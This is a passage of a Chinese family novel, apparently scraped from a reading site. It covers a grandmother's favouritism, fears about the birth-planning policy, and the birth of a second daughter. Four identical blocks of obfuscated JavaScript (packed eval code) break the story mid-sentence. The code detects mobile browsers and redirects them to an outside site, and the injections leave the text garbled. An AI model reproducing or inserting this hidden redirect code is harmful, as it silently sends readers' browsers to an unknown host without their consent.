赵梅也进来关心道:“老二,不行你去后面休息吧,今天妈给你看店。” “你行吗妈?”李武问。 “行,这有什么不行的?这不货架上都有价签儿吗?你妈是不认识货品,还是不认识价格呀?”赵梅说。 林娟看他实在难受的厉害,也说:“你快去休息吧,阿姨不懂我懂,人多的时候我也过来帮忙。” 李武点点头,便去阁楼上休息了。 “可能小惠不在,又吃剩饭剩菜了。”林娟摇摇头,对赵梅感叹道:“大婶子,你说咱们女人生个孩子怎么那么难呢?都在城里躲着不敢回家了,还是躲不过。” “女人可不就是这命?我们家已经够好的了,放其他农村妇人,早就被逮走了。”赵梅似乎又端出一副高高在上的姿态。 林娟听着这话不对劲儿,两个人对“女人的苦难”认知不一,她便借口说:“大婶子,一会儿忙起来你就叫我,隔着前面那墙喊一嗓子就行,这会儿正是我那店里进货的时候,我得回去盯着点儿。” “好好,你快去吧。”赵梅笑着说。 林娟走后,赵梅搬了收银台的凳子出来,坐在李斌旁边,瞥着林娟的背影说:“她以为她是谁啊?这边忙不过来她帮忙?这小卖部跟她有什么关系?” “勇哥和勇嫂挺好的,我们哥俩忙得吃不上饭,他们还老给送驴肉火烧呢。”李斌说。 “什么挺好的?还跟我抱怨生孩子得躲着,她几个意思?那是抱怨因为你爸的工作,所以你二嫂得躲着。”赵梅轻蔑地说。 “妈!”李斌看着赵梅,一副你怎么这样的表情。 赵梅凑近李斌,问:“儿子,你要真觉得这个烙饼摊儿挺好,我跟你哥去说,让他把这个摊子给你得了,反正现在也是你在干,他在里面都忙不过来。” “那...嫂子能答应吗?”李斌表面淡定,心里乐开了花儿,谁不想当老板呢? “她答不答应有什么关系?这是咱们老李家的营生,你哥答应不就行了?”赵梅又问:“关键是你要不要干,能不能好好干下去,别我给你要过来了,你又不干了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566713|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李斌来了精气神儿,他说:“妈,你要真要下来,我肯定好好干啊,到时候把向华和我儿子也接过来。” “行,妈知道了,你要干就行。”赵梅笑了,是发自内心欣慰的笑,她眼睛泛着光亮,继续说:“总比在家里面朝黄土背朝天强,到时候我们光宗就在城里念书。” 中午,王勇过来请赵梅、李斌和李武去店里吃饭,他们坐在了靠窗的位置,王勇给赵梅倒茶,笑着说:“大婶子,今天包间都提前订出去了,咱们这次凑合着坐大厅,下次一定给您安排包间。” 赵梅从来没有被如此款待过,她笑得合不拢嘴,“她大哥呀,你那么客气干什么,咱一家人不说两家话。” 王勇给安排上了一大桌子菜,赵梅吃得肚子都撑了。 这一大桌子菜意味着什么呢? 意味着在乡下两个星期吃一次肉菜的女人,在这儿一顿饭能吃三个肉菜,外加三个驴肉火烧,赵梅吃着人家的饭,心里升腾起莫名的情绪。 就在这时,一个拄着拐杖、衣衫褴褛的老人推开店门,前台忙碌的伙计叫磊子,他抬头,和老人开心地打招呼:“大爷,今天来晚啦?” 那老人一瘸一拐地走到收银台,伸出两根手指,吱吱呜呜地说着不不清不楚的话。 磊子明白他什么意思,干脆利落地说:“好嘞,去椅子上坐,我给你打包。” 老人站在原地纹丝不动。 磊子快速地去后厨打包两个驴肉火烧出来,老人看着那两个驴肉火烧嘿嘿直笑,一嘴牙只剩下两颗,其中一颗还掉了一半儿。 “让你坐,你又不坐!”磊子责怪老头儿。 老头儿还在笑,颤颤巍巍地从怀里掏里一方手绢,那手绢干干净净,也鼓鼓囊囊的,老人捧在手心里,一折一折掀开,然后全部捧到磊子面前,磊子一看,是一把丁零当啷的瓶盖儿。 磊子接过瓶盖儿,在他耳边大声说:“大爷,钱给多了,等我一下,我给你找零。”磊子把驴肉火烧递到老人手里,回到前台给他拿了三块钱塞进手绢里,送老人出店门口的时候,磊子还拿了瓶纯净水给他。 等那老人走后,磊子捧着一把瓶盖给王勇展示,“这小老头儿,攒的不少啊。” 王勇也笑着说:“先给他收藏起来。” 李斌好奇地问:“这是家里亲戚吗?” “不是,是前面环卫站的工人,有一次从三轮车上摔下来,脑袋磕坏了,变得稀里糊涂的,说话还越来越不清楚,跟个老小孩儿似的。”王勇说。 “你这干的什么事儿啊?钱多,亏本玩儿啊?”赵梅不解地问。 林娟给赵梅夹了块红烧带鱼,乐呵呵地说:“这老头儿攒瓶盖儿也不容易,我这算是等价物交换吧,咱不计较,值。” 赵梅低头吃带鱼,她明白心里升腾的莫名其妙的情绪是什么了。个 这家人生意越做越红火,越来越有钱,老二跟着这一家子吃香的喝辣的,他们连个陌生的乞丐都肯帮,把老三弄到城里来生活自然是应该的。 19. 是男是女 吃完饭回到店里,这个时间没有人来买饼,李斌便爬上阁楼睡觉去了。 前台只剩下赵梅和李武,李武脸色还是不太好,中暑的劲头儿还没过去。 赵梅坐在收银台里,拿着纸壳子给李武扇风,李武在一旁往手电筒里装电池,赵梅说:“老二,你这大舅子一年不少赚吧?” 李武也没多想,随口回答:“弄好了一年不少赚,不过他才开始赚钱,之前借了不少饥荒,刚还完。” “他们在城里买房了?” “买了,就在我们旁边,一个四四方方的小院儿。” “哟?就他呀?在城里买房了?”赵梅满脸鄙夷,语气里透着看不起人家,又比不过人家的样子。 “老二,你们俩以后是不是也打算留城里呀?跟他们一块儿?” 李武停下手中的动作,转头看赵梅,“我们俩再说吧,能扎根儿就留下,不能扎根就回去,妈,你问这干什么?” “哎呀,妈就是随口问问,我觉得小惠现在不能露面儿,你一个人看店也挺辛苦的。”赵梅说。 “我其实还好,一大老爷们儿看个店没什么,小惠挺辛苦的,她挺着个大肚子,还得拉拽着争争。”李武转头看向赵梅,说:“妈,你有空帮我们带带争争吧,孩子会走会跑的,小惠太辛苦了。” “你个没良心的白眼儿狼,小惠辛苦?小惠辛苦你妈不辛苦呀?想当初我一个人把你们四个拉扯大,这种苦我吃得了,你媳妇儿就吃不了啦?矫情!”赵梅“啪”地把纸壳子扔在柜台前。 很奇怪,赵梅觉得李武对王惠好,就是对自己的背叛。 他们小两口越恩爱,生意越红火,孩子越健康,日子越有盼头,赵梅的心里就越不平衡。她生怕李武的日子超过李斌,她觉得自己就是上帝的天平,必须让这两个儿子过差不多的日子。 李武不解,“妈!你说什么呢?我的意思是你能不能帮帮我们,她怀着我的孩子去娘家躲着,你当婆婆的关心关心,咱们在王家面前也说得过去不是?” “我警告你啊,哪边儿跟你血脉相连你搞搞清楚,你在他们家人面前给我直起腰来,别什么事都听你媳妇儿的,你才是顶门立户的一家之主。” 李武摇摇头,无奈道:“妈,这都哪儿跟哪儿啊。” “行,妈有空去看看小惠。”赵梅沉默两秒,又拿起纸壳子给李武扇风,她说:“老二啊,妈跟你说个正事儿。” “什么?” “你要是忙不过来,外面那烙饼摊就让老三负责吧。” “那不就是让他负责呢吗?我基本不怎么管了,关于钱你也放心,50%的利润我都给他。”李武说。 “妈的意思是你直接把这个摊子转给他得了,他那个情况,难得有个事儿能干得了。” 李武难以置信地看向赵梅,他反问道:“妈,你在说什么?我开这个店的时候,咱们家可是一分钱没给我,现在开起来了,你直接让我把摊位给老三?” 赵梅往前凑凑,“妈又没让你全给他,只给他外面的烙饼摊儿,这夏天热、冬天冷的室外摊儿,你要它干什么?有这个室内的小卖部,还不够你赚的?” 李武本来就头晕,现在更晕了,他深吸一口气,说:“妈,我哪儿赚钱了?还一屁股债没还呢,我是不是你亲儿子啊?你那么算计我。” “你这叫说的什么话?我让你帮帮你弟弟,就叫算计你啊?我是你亲妈,你条命都是我给的,我算计你什么?”赵梅生气地扔下硬纸壳,“都是你媳妇儿,天天给你吹耳旁风,外人一进咱们这个家,你们兄妹几个就不亲了是吧?你们不是一家人了?” “妈,我开不了这个口,这不对,我现在连钱都没还完呢,好不容易凑了两个生计,你硬掰走一个给老三,你让我怎么办啊?”李武很生气,母亲从小到大都偏心眼儿,没想到成家了还这样,她总是从李武手里拿吃食给李斌,却从来没有管过李武肚子饿不饿。 “你这不好好的吗?你还有个那么能赚钱的大舅子,要不你让老三每个月给你交房租,你按面积给他算。” 李武垂着脑袋生闷气,手里不停地组装手电筒。 赵梅见李武无动于衷,一时情绪上头,她委屈地锤膝盖,说:“老二啊,你爸爸那儿是指望不上了,乡里领导班子变动太大,我一个孤老婆子还能指望谁?你大哥走了,你弟弟又有那种问题,你让我可怎么办呀?” “妈!”李武见不得他妈这样,他不情不愿地说:“你别这样了,我先商量商量再说吧。” 赵梅抹掉眼泪,连连点头:“好好,你商量商量,跟小惠说一下特殊情况,让她发发善心,帮帮你弟弟。” “行了行了,知道了。”李武不耐烦,他从小就处处懂事,却处处多余。不如大哥学习好,不如弟弟会撒娇,不如妹妹是个姑娘能当掌上明珠。 当天晚上,李武去看王惠和争争,和王惠说了他妈的意思,王惠当场表示:咱们可以借给老三钱,帮他在别的地方盘个店,但不能跟咱们这个店弄混了,亲兄弟也得明算账。 —— 李武和王惠商量完以后,就一直在琢磨怎么和赵梅说。 就在这时,赵梅率先带着一网兜水果来看王惠了。 彼时,王惠已经大肚圆圆快九个月了,连蹲下起立都不方便,她的二嫂陆琳儿主动担起了照顾她们娘俩的任务。 王博和陆琳儿只有一个儿子,叫王陆暄,比争争大七半,两个小朋友经常一起出去玩儿。 赵梅进屋,陆琳儿沏茶倒水拿水果,一番寒暄后,陆琳儿就带着两个小家伙出去了。 屋里只剩下赵梅和王惠两个人,王惠心里猜到她来的原因,无非就是想让她们把烙饼摊给李斌。 王惠捂着大肚子坐在炕沿上,眉目温柔地问:“妈,你跟爸最近身体还好吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577817|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “挺好的,你大着个肚子,就别担心我们了。”赵梅上下打量王惠,好像除了肚子大以外,她整个人都胖了一些,面色也红润光亮,浑身上下散发着母性的温柔,她说:“小惠啊,我看你怀个孩子,脸色还越来越好了。” “妈,我是胖了。” “哎哟,胖什么?不怕胖。”赵梅看着王惠的肚子,扬了扬下巴,问:“查了吗?是男孩还是女孩?” “怎么查呀?我的妈妈,我现在大门不出二门不迈,就怕计生办的人找过来,这一天天的跟做贼似的。” “哎哟,咱们不能查,万一又是个小丫头怎么办?我们老二这一枝儿,不能绝户了呀。”赵梅叹了口气,很是惆怅地说。 王惠听了她的话,胸腔猛然憋住一口气。 赵梅当然知道王惠不爱听,可不把她的威风打压下去,怎么让她答应自己的条件呢? 赵梅继续发愁地说:“现在计划生育那么紧,一共就让生两胎,头胎已经是个丫头了,万一肚子里这个再是,那可就彻底挡了来儿子的路了。” “妈,你在说什么呀?我都九个月了,你不能让我现在打了去吧?”王惠被她这句话气得直发抖。 “要不这样,诊所咱们是不能去,我去找个算命先生来,咱们先算算倒底是男是女。”赵梅说。 王惠深吸一口气,说:“妈,不算了,就快生了,这个孩子不管是什么我都要。” 赵梅握住她的手,看着她的眼睛问:“难道你不想要个儿子吗?” 王惠被她这一灵魂拷问,问得愣怔一秒,她怎么会不想要儿子呢?栋栋明明和她约好了,要回来找她的,王惠甩开她的手,不悦道:“妈,要不您先回去忙?我有点不舒服得躺一会儿。” “你咋那么不敢面对呢?不就看看是男是女吗?等到了生的时候也得知道是男是女,也就早知道一个月呗。”赵梅是个强势的女人,家里的事情从来不让李同仁做主,同时她也能说会道,她继续说:“小惠呀,你别怕,咱们就看看男女,是女儿咱们就买几件粉色小衣服,是儿子妈提前给你缝小老虎枕头,咱们缝一对儿,先确定性别,咱们提前看看怎么办。” 王惠心下一琢磨,万一真是个闺女,怎么能再多留一个名额出来呢?她犹豫地开口:“妈,那就听你的?” “哎,你就听我的,我给你安排。”赵梅继续叮嘱她:“你现在这个月份儿,出来进去都得注意,争争正是跑跑跳跳的年纪,要不我明天把争争带回家,正好姑姑也放假了,让姑姑带。” “超超还是个大姑娘呢,哪里会带孩子?”王惠客套道,她其实是希望婆家人多带带争争的,自从住过来,争争一直都是二嫂带,王惠总觉得有些不好意思。 “有什么不会的,我们争争现在也好带了。”赵梅说。 当天下午,赵梅在王博家吃过饭后,就径直去请算命先生了。 20. 生了女儿 第二天一大早,赵梅带着那位六七十岁的老先生来到王博家,彼时陆琳儿又带着争争出去了,是王惠故意支开的,她不想让李争争看到这个场景。 老先生让王惠从屋子里走到屋子外,又从屋子外走到屋子里,最后老先生眯着眼睛给她搭脉。 “怎么样?是男是女?”赵梅见老先生一直不说话,焦急地问。 老先生摇摇头,又点点头,他说:“缘来则来,缘去则去,你们放心吧,这一胎会是你们想要的。” 赵梅和王惠同时喜出望外,连连感谢这位老先生。 看完之后,老先生一分钟都没停留。 赵梅把算命先生送走以后,心想:这下可不能再强迫她转让摊位了,万一气着肚子里的大孙子怎么办? 于是,她决定先将这件事压后,后面有的是机会要过来。 过了一会儿,陆琳儿带着争争回来,赵梅开心地合不拢嘴,她把争争揽在怀里,笑着说:“争争呀,你妈很快就会给你生个弟弟了,到时候你就有伴儿了。” “不是的,那是我妹妹。”李争争指着妈妈的肚子,一脸天真地说。 “胡说!那是你弟弟,记住了,是弟弟。”赵梅说。 李争争很怕奶奶,奶奶总是冷着脸,从来不抱她,也很少逗她,奶奶这个人对于她来说是陌生的存在。 于是,小家伙闭上嘴巴不再表达。 “小惠呀,李超最近要去考个什么证,恐怕不能带争争了,要不我晚点再来接争争,你看行吗?”赵梅问。 王惠点头,没说什么,婆家不给带孩子,她有心理预期的。 其实,李争争在二舅家住得非常开心,姥姥姥爷偶尔偷着过来看她们;二舅每天回来都给她和哥哥带小礼物,有时候是玩具,有时候是水果,有时候是画册;舅妈做饭好吃,脾气也好,她和哥哥闯祸了,舅妈从来不骂人,只是蹲下来给他们讲道理;最最关键的是李争争喜欢和哥哥王陆暄一起玩,每天追在王陆暄屁股后面喊哥哥...哥哥... 九月底的一天晚上,他们吃过晚饭,陆琳儿搀扶着王惠去巷子里遛弯儿,她这一胎比怀争争的时候大,为了防止难产,每天早晚都会尽量多运动一下。 王博在屋里收拾桌子洗碗,李争争追着王陆暄在院子里玩纸飞机。 两个小朋友凑着脑袋把纸飞机叠好,王陆暄拿着小飞机快速跑开,争争拍着手喊:“要飞机,要飞机...” 王陆暄捏着纸飞机凑在嘴边哈气,然后用力地向天空抛去,李争争看见纸飞机飞在半空,哈哈大笑着朝飞机的落点跑去。 王惠和陆琳儿经过院门口,探头看看他们,两个小朋友玩得不亦乐乎。 玩了一会儿,李争争朝飞机跑的时候不小心摔在地上,王陆暄赶紧跑过去扶起她,却发现李争争右手的大拇指划伤了,小男孩赶紧蹲下来问李争争:“疼不疼?” 李争争没有哭,她低头看伤口,委屈巴巴地说:“疼。” 王陆暄带她来到洗脸盆前,把她手上的泥沙全部洗去,说:“妹妹,你在这儿等我,我给你拿东西包一下。” 没一会儿,王陆暄从屋子里跑出来,手里拿着卫生纸,白布条和一轴白线。 王陆暄蹲在地上,用卫生纸擦去伤口上的水,又对着伤口吹了半天,确保没有水了,他才给李争争缠上一层又一层卫生纸,把白布条裹在卫生纸外面,最后用一圈圈白线固定好。 固定好以后,王陆暄又问李争争,“现在呢?还疼吗?” 李争争还差3天就满两岁了,她看着王陆暄包扎的臃肿伤口,竟然嘿嘿地笑了,她摇头,乖乖地说:“不疼。” 王陆暄把李争争拉到小板凳上坐好,自己把线轴和剩余的布条放回屋,等他再出来的时候,李争争举着受伤的手哈哈大笑,“哥哥,掉了,它掉了!哈哈哈哈哈......” 王陆暄无语,他捡起包扎伤口的卫生纸和白布条,问:“是不是你拽下来的?淘气包。” “不是哥哥,它自己掉的。”李争争一口小奶音,实在是可爱。 “那怎么办呀?我想想办法。”王陆暄把白布条和卫生纸拆开,想了两秒,回到屋里翻找陆琳儿扎头发的橡皮筋。 这次,王陆暄给李争争包扎得特别结实,任李争争用多大力气甩,都没有甩下来。 —— 当天夜里凌晨三点,王惠的肚子开始阵痛。 这一胎和头胎间隔时间不够三年,属于超生胎的范围,王博大跨步蹬上自行车,飞快地往老李家赶,他要以最快的速度把赵梅请来。 陆琳儿把李争争抱到自己屋,做好一切接产准备,就等赵梅赶来。 王博一敲门,赵梅就预感到什么事儿,她连忙穿衣服,嘴里念念有词:“菩萨保佑我孙子平平安安...菩萨保佑...菩萨保佑...” 王书珺和张瑞清守在大门口,对赵梅简直望眼欲穿。 王书珺驼着腰,背着手来回徘徊;张瑞清裹了小脚,根本没办法长时间站立,她拄着拐杖,倚在电线杆前望向巷子尽头。 过了一会儿,他们终于看到王博和赵梅赶来,这时王惠疼得已经叫了一个半小时,张瑞清赶紧上前抓住赵梅的手,“大妹子,你是专业产婆,我闺女的命就交给你了。” “放心吧老大姐,小惠给我们老李家添丁进口,我会全力接生的。”赵梅脚步匆忙地往里屋赶。 王书珺什么都没说,只是沉默地跟随她们进院子。 陆琳儿在里屋抱着王惠一起哭,她虽是王惠的嫂子,却心疼极了这个妹妹。 当陆琳儿抬头看到赵梅时,简直像看到了救星,她眼含泪光,哭道:“婶子,你终于来了,快来帮帮小惠吧。” 赵梅洗了手,问王惠:“感觉怎么样?” 王惠哭着喊疼,她已经宫缩到几次昏死过去,一次次痛了又醒、醒了又痛。 赵梅让她把姿势摆好,陆琳儿把要用的热水和擦拭用品全部放到赵梅手边。 赵梅抬头看表,开始柔和地给王惠摸肚子。 一圈两圈三圈......任王惠大喊大叫,赵梅还是按照自己的节奏摩挲肚皮里的婴儿。 王惠的哭喊声越来越小,她脸色苍白,双眼无神,力气已经快用完了。 “大婶子,要不要快点儿?小惠是不是没劲儿了。”陆琳儿问。 “别急,还不到时间。”赵梅淡定地说。 王惠疼得无能为力,好像整个身体被彻底撕碎,头发、衣服、床单全部被打湿。 想死死不了,想生生不下,简直生死不如。 直到凌晨五点半,第一声公鸡打鸣划破夜空,赵梅才开始用力按王惠那鼓得像皮球一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592992|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子。 因为按得极其用力,王惠哀嚎不断,她在心里不住地骂李武,并暗暗发誓自此封肚,绝不再生。 张瑞清年纪大了,拄着拐杖在中间屋子来回徘徊,每当王惠歇斯底里地尖叫,她的心都揪了又揪。 李争争也吓得哇哇大哭,王陆暄小朋友在一旁安抚妹妹,同时也在不断地抽噎。 赵梅让王惠大口地深呼吸,继而猛然一用力,王惠被按得大叫一声,她手指紧紧抓住床单,指关节因用力而泛白,疼痛的频率和强度猛然增加,肌肉在剧烈的疼痛中痉挛,仿佛有一辆卡车从她身上碾轧而过。 漫长的疼痛过后,终于,伴随着一声响亮的啼哭,孩子出生了。 “生了!生了!”陆琳儿欣喜的声音传来。 王惠的身体在巨大的疼痛过后,感到一阵虚空,她几乎无法动弹。 赵梅拎起婴儿的双脚一看,认真而刻薄地问奄奄一息的王惠:“你是不是生错了?” “竟然又是个丫头片子,这一大早儿,白折腾一通。” “不是说是个儿子吗?这算命先生怎么算的?” “早知道是个丫头,就应该让计生办的人扫走,这次扫了下次就不用扫了。” ...... 王书珺耳朵背,却还是听见赵梅的话,他猛地推开门,硬生生把赵梅拎了出去。 张瑞清进屋拉住王惠的手,不断地给她擦眼泪。而赵梅的话萦绕在王惠耳边,突然她的□□涌出大量血液,王惠也因为胸腔憋着闷气,一口气没提上来,竟然窒息了过去。 张瑞清不断地在王惠耳边喊她,陆琳儿给她下面塞住棉布,拼命地给她掐人中,做人工呼吸。 王博见状赶紧去叫村里的医生。 赵梅知道自己当着王惠娘家人说错了话,王书珺严厉地盯着她,她笑了笑,闭上嘴进来清理孩子。 医生来了以后,不断地给王惠按压胸腔,慢慢地王惠缓过一口气,又赶紧给她进行止血。 女人生孩子,本就是鬼门关里游荡一圈;像王惠这种在农村徒手分娩,潦潦草草地生孩子,简直就是在阎王殿里躺平了。 这次能勉勉强强捡回一条命,全靠阎王不收她。 直到早上七点多,李武、王勇、林娟才赶回来。那时候没有任何通讯工具,是王博找村里人去叫的他们。 李武冲进屋里问:“小惠怎么样了?她缓过来没有?” 赵梅率先抢答,像是在掩饰自己的心虚,也像是在展现自己的关心,她说:“缓过来了,缓过来了,儿子别急。” “孩子呢?” “孩子也健康,在里面睡觉呢。”赵梅瞥一眼张瑞清,小声补地充道:“又是个丫头片子,这可怎么办呀?” 李武没有说话,这时,李争争哇哇大哭地扑进李武的怀里,一边哭一边喊:“爸爸,疼,疼,疼......” “怎么了?哪儿疼?”李武把李争争揽在怀里问。 赵梅把李争争抱过来,伸手抹去她的泪水,对李武说:“这孩子哭一早上了,估计是早上被小惠吓得,你快进去看看小惠吧。” 李武去洗了洗手,掀开门帘进去看王惠。 彼时,王惠还意识昏沉地睡着。 没过一会儿,李同仁也赶了过来,他是来商量这个刚出生的女娃娃后续要怎么办的。 21. 计划生育 农村的计划生育标语是这样写的: 一胎上环,二胎结扎;超怀又引又扎,超生又扎又罚。 该扎不扎,房屋倒塌;该流不流,扒屋牵牛。 只生一个好,政府来养老。 ...... 按照这规定,王惠和李武生完这两个孩子,他们之间就该有一个人去做绝育手术,赵梅怀里揽着呜呜直哭的李争争,很是愁怨地说:“现在怎么办?连生了两个丫头,计划生育在那儿卡着,小惠生完这俩孩子就得去做绝育。” 大嫂林娟是个嘴快的,也听不得重男轻女这套愚昧的言论,她说:“俩丫头就俩丫头呗,孩子健康快乐的长大不就得了?再说了,为什么一定是我们小惠去绝育呢?” 赵梅像是机关枪找到瞄头,她对林娟说:“什么俩丫头就俩丫头?家里要是没个儿子能叫家吗?我看你是有个大儿子就吃饱了不愁,没儿子那就是绝户啊,会被人戳脊梁骨的,老二这辈子都别想抬起头来,她不去绝育谁去绝育?” 她要生不出儿子,我们老二可不得找人生吗?这句话赵梅没敢在王家说出来。 张瑞清虽然年纪大了,但她护着女儿,也护着儿媳妇,她说:“既然这样,那就麻烦亲家公在乡里给递递话儿,让计生委的人对他们小两口高抬贵手吧。” 一句话戳到李同仁的肺管子,他斥道:“胡闹,计划生育是基本国策,哪儿是说抬手就能抬手的?” 王书珺端坐在木质圈椅内,双手拄着拐杖,“咚咚咚”拐杖戳在地面,一向慈眉善目的他此时面目威严,他问:“那您说接下来怎么办?我女儿刚刚大出血,还躺在里面,这是她给你们老李家生下的第三个孩子。” 李争争还在哭,从一大早哭到现在,声音小小的,怯怯的,趁着老人们说话,林娟无声地把争争拉到自己怀里,问她:“怎么了争争?” 李争争抱住林娟,一边哭一边喊疼,问她哪里疼,她也吱吱呜呜表述不清。 就在这时,赵梅转头看林娟,然后对张瑞清说:“亲家母别生气,承认这个丫头的存在就不能再要儿子,要不这样,我看你们王家男丁兴旺,倒是还没生个孙女,看看你们家老大还是老二,谁想养这个丫头?刚出生的,好养活,也养得熟。” 林娟和陆琳儿互相对视一眼,异口同声地说:“这得问问小惠和李武吧?” “这有什么好问的?他们两个谁不想生儿子?养儿防老,给谁防?还不是我们老二和小惠呀?”赵梅反驳道,“再说了,往外送个丫头,这不是挺正常的事儿?” 赵梅这句话说出来,成功让在场的所有人僵住。 屋子里面,李武抚着王惠苍白的脸颊,刚诞下的婴儿躺在王惠身侧,李武轻声问她:“感觉怎么样?” 王惠动了动嘴唇,两侧眼角滚下泪水,她声若蚊呐,“是个闺女?” 李武点点头,失望溢于言表,“嗯,闺女。” “这可怎么办呀?”王惠压抑地哭起来。 “你别哭了,这不一大家子人想办法呢吗?”李武说。 后来,是赵梅来和王惠商量的,赵梅的意思是直接把孩子过户给王勇或王博,两家儿都只有一个儿子,正好缺个女儿。 王惠看着身侧那小小的婴儿,吧嗒吧嗒地掉眼泪,最后她请求赵梅:“妈,这孩子毕竟是我身上掉下来的肉,能不能先把她养在我哥哥家,等上学的时候再把户口迁回去?” 赵梅叹出一口气,像是很心疼王惠一般,她柔声说:“行吧,我跟你爸商量商量。” 她顿了顿,又说:“既然你不打算彻底送人,孩子的满月酒还是在咱们那边办吧?” 办满月酒是这孩子来到世上的第一次庆祝,王惠像是受到恩赐一般,“妈?咱们办满月酒?会不会太招摇了影响爸的工作?” “不会,请点知根知底的人过来热闹热闹。”赵梅说。 “行。”王惠哭着应下了。 “你这月子就在这儿坐吧,别折腾了,我怕你着凉受风,我看你嫂子照顾得挺好。” “是,我嫂子很周到。” “等满月前一天,你再带着孩子回去,咱们热闹完,再让你哥你嫂子把孩子抱回来。” 王惠伸手摸摸孩子,点点头表示同意。 赵梅回到家后,不断地在诅咒那个算命先生,到处跟人说那个先生是骗人的。 —— 第二天一大早,王惠裹着头巾倚靠在炕边儿给小婴儿喂奶,小婴儿昨天下午有名字了,是李同仁起的,名叫昭昭,是希望招一招弟弟的意思。 林娟悄悄推门进来,手里端着一碗鸡蛋红糖水,柔声问:“几点醒的?昨天晚上睡得怎么样?” “半宿没睡着,不知道听我婆婆的是对还是错。”王惠说。 “我讲实话,你们那么做对不起怀里这娃,我不是不想养这闺女,就是觉得不公平。”林娟把鸡蛋红糖水放在炕沿上,继续说:“唉,如果你们对生儿子执念那么深,那也没办法,这个闺女我养。” “大嫂!”王惠眼睛肿得像核桃那么大,说话带着浓重的鼻音。 “没事没事,你别哭,还做月子呢,老哭伤身子。”林娟赶紧给王惠擦脸,“哦,对,一会儿让争争也进来看看妹妹,最主要让她看看你,从你生孩子开始,争争就一直在哭,昨天晚上哭着哭着睡着了,刚刚又开始哭,孩子是不是担心你呢?” “行。” “先让她吃完早饭吧,你二嫂正喂她呢。” 没一会儿,李争争迈着自己的小短腿儿来到王惠屋里。 李争争看到妈妈就哭,一边哭一边喊:“妈妈...疼...我疼...” “怎么了宝宝?哪里疼?” “疼!疼!”李争争一边喊,一边爬上炕,小心翼翼地抱住王惠。 “来,妈妈看看,好宝宝,妈妈看看哪儿疼?”王惠把李争争从自己脖子上抱下来,耐心地问:“是不是想妈妈了宝宝。” 李争争摇头,还是一直喊疼。 王惠给李争争擦掉眼泪,仔细打量她,问:“是肚肚疼吗?” 李争争摇头。 “是脑袋疼吗?” 李争争摇头。 王惠终于看见李争争手上绑着的绷带,她问:“是手手疼吗?” 李争争哭得更大声,她喊着“疼”。 “怎么弄的?妈妈看看。”王惠赶紧给她拆右手大拇指上的皮筋儿,又拆下一层白布,最后看到卫生纸上浸满了脓血。 她喊:“嫂子,哥,快来。” 王勇和李武已经回城里看店了,家里只剩下王博、陆琳儿和林娟伺候王惠坐月子。 王惠揪住卫生纸的一角,慢慢地掀开,纸巾和争争的手指已经粘连在一起,手指颜色发白,糜烂,还散发出一股闷臭味儿。 林娟最先跑过来,她一看争争的手,吓得问:“怎么会这样?” 王惠自责地把争争抱在怀里,心疼地问:“这怎么弄的?” 才两岁的小女孩抽噎着断断续续回答:“飞机...倒...疼...” 王博也快速跑过来,忙问:“怎么了?怎么了?” 王惠抬着看见王博,泪水瞬间蓄满眼框,她像是寻找主心骨似地叫王博:“二哥,争争的手。” 王博一看争争的手已经溃烂,立马上前抱起孩子,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600162|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,去医院。” 王惠直起身子穿衣服,林娟立刻阻止她,“小惠你别动,我跟你二哥二嫂去,我们三个大人,你踏实在家,照顾好昭昭。” 王惠倔强,“跟你们一块儿去,我实在放心不下。” “王惠,你在家好好坐月子。”王博以血脉压制,命令王惠躺好。 陆琳儿也赶过来,先看到孩子受伤的手指,她触目惊心,连问林娟,“怎么回事儿?” “受伤,受伤,快!咱俩收拾东西,赶紧去医院。”林娟说。 他们三个人带着李争争去了医院,临走前,陆琳儿交待王陆暄在家里要照顾好姑姑和小妹妹。 王惠伸长脖子看着哥哥嫂子们载着孩子出了大门,她整颗心都空落落的,突然放声大哭起来:“十指连心呐......” 因爱生畏,因爱生怖,此刻的王惠突然很恐慌,是心里没着没落的恐慌。 —— 